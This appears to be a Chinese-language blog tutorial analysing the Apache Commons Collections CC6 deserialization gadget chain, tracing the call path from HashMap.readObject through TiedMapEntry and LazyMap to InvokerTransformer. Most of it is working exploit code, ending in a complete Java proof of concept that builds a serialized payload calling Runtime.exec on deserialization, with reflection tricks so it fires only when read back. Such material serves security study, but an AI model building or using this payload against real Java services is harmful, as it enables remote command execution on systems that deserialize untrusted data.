调用链
HaspMap.readObject.hash()
-->TiedMapEntry.hashCode()
-->TiedMapEntry.getValue()
-->LazyMap.get()
-->ChainedTransformer.transformer()
-->InvokerTransformer.transformer()
分析
从利用链可以看出和cc1部分相似,从LazyMap.get
开始入手
ChainedTransformer
的transform
是危险函数,下面来找找,谁的类调用了transform
函数。
LazyMap
类的get
方法调用了transform
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
#get方法中 关键是 factory.transform 所以要对factory赋值。
再往上找找谁调用get
方法,发现TiedMapEntry
的getValue
调用了get方法。
只要控制map为LazyMap就可以调用LazyMap.get方法。
同类中hashCode方法中,其又调用了getValue方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
那么在这个类中:TiedMapEntry.hashCode-->TiedMapEntry.getValue-->get
看到这个hashcode就可以想到URLDNS
链,想到HashMap
类的readObject
方法调用了hash
方法
又hash
方法调用了hashCode
这样就和TiedMapEntry.hashCode
衔接上了。
利用cc1的一部分
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform("");
HashMap<Object,Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry可以接收两个参数,一个map一个key。
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
想要调用LazyMap.get,map就得赋值为lazyMap,和任意key
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"yiya");
现在需要调用这个TiedMapEntry
,使用一个新的HashMap
。我们的目标是hash
方法、而hash
方法又调用了hashcode
。所以我们实际上调用的是TiedMapEntry.hashCode
。
那么完整的poc为:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform("");
HashMap<Object,Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"yiya");
HashMap<Object,Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry,"yiya");#这里用put方法触发hash
运行、会出现和URLDNS
链一样的问题,序列化时也会执行calc.exe
。
hashmap2.put
执行的时候会调用HashMap
中的put
方法,即会执行putval
,就把整个链走完了。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
我们现在要做的就是暂不让执行这个put
方法,那我们可以更改前面的链,也就是在调用那些transform
的地方动手脚,只要不让他正确执行calc.exe
,最后再把修改后的地方复原就好。
可以在传入chainedTransformer
时 传入一个空的chainedTransformer
:new ConstantTransformer(1)
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
修改过后,反序列化中需要执行怎么办呢?
protected final Transformer factory;
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
利用反射复原
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
那么现在完整的poc为:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","yiya");
// Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Map<Object,Object> lazyMap = LazyMap.decorate(hashmap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"yiya");
HashMap<Object,Object> hashmap2 = new HashMap<>();
hashmap2.put(tiedMapEntry,"yiya2");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
但是当我们 执行序列化和反序列后,发现并没有执行calc.exe
调试
hashmap2.put(tiedMapEntry,"yiya2"); #在此处下断点
发现问题出在LazyMap的get方法中
集合类中的 Map.containsKey() 方法判断 Map 集合对象中是否包含指定的键名。如果 Map 集合中包含指定的键名,则返回 true,否则返回 false。
下一步
直接到了return,并没有走到if中去,也就是说并没有执行factory.transform
。
所以在反序列之前需要移除已经存在的key
lazyMap.remove("yiya");
POC
所以完整的poc为:
package Cc6.yiyayiya.cn;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","yiya");
// Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Map<Object,Object> lazyMap = LazyMap.decorate(hashmap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"yiya");
HashMap<Object,Object> hashmap2 = new HashMap<>();
hashmap2.put(tiedMapEntry,"yiya2");
lazyMap.remove("yiya");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
// serialize(hashmap2);
unserialize("ser6.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
参考
https://blog.csdn.net/RABCDXB/article/details/123963403
B站UP主:白日梦组长
评论区